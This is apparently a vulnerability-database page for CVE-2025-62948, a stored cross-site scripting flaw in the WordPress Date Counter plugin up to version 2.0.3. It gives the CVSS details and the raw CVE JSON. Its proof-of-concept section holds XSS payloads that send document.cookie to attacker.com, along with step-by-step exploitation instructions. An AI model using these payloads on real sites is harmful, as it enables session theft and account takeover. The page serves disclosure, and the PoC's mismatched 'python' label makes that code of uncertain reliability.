Security Vulnerability Report
中文
CVE-2025-62948 CVSS 6.5 MEDIUM

CVE-2025-62948

Published: 2025-10-27 02:15:55
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Konstantin Pankratov Date counter date-counter allows Stored XSS.This issue affects Date counter: from n/a through <= 2.0.3.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Date Counter插件 <= 2.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62948 Stored XSS PoC --> <!-- Target: WordPress Date Counter Plugin <= 2.0.3 --> <!-- Author: Security Researcher --> <!-- Step 1: Inject malicious payload through plugin input field --> <script> // Malicious JavaScript payload var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/steal', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('cookie=' + encodeURIComponent(cookies)); </script> <!-- Alternative payload: Session hijacking --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Stored XSS in date input field --> <!-- Inject via plugin admin panel or API endpoint --> <p>Date Counter: <script>alert(document.domain)</script></p> <!-- Real-world exploitation steps --> <!-- 1. Authenticate as low-privilege WordPress user --> <!-- 2. Navigate to Date Counter plugin settings --> <!-- 3. Insert XSS payload in date field or counter text --> <!-- 4. Save settings (payload stored in database) --> <!-- 5. Wait for admin or user to view affected page --> <!-- 6. Malicious JS executes in victim's browser -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62948", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:55.150", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Konstantin Pankratov Date counter date-counter allows Stored XSS.This issue affects Date counter: from n/a through <= 2.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/date-counter/vulnerability/wordpress-date-counter-plugin-2-0-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}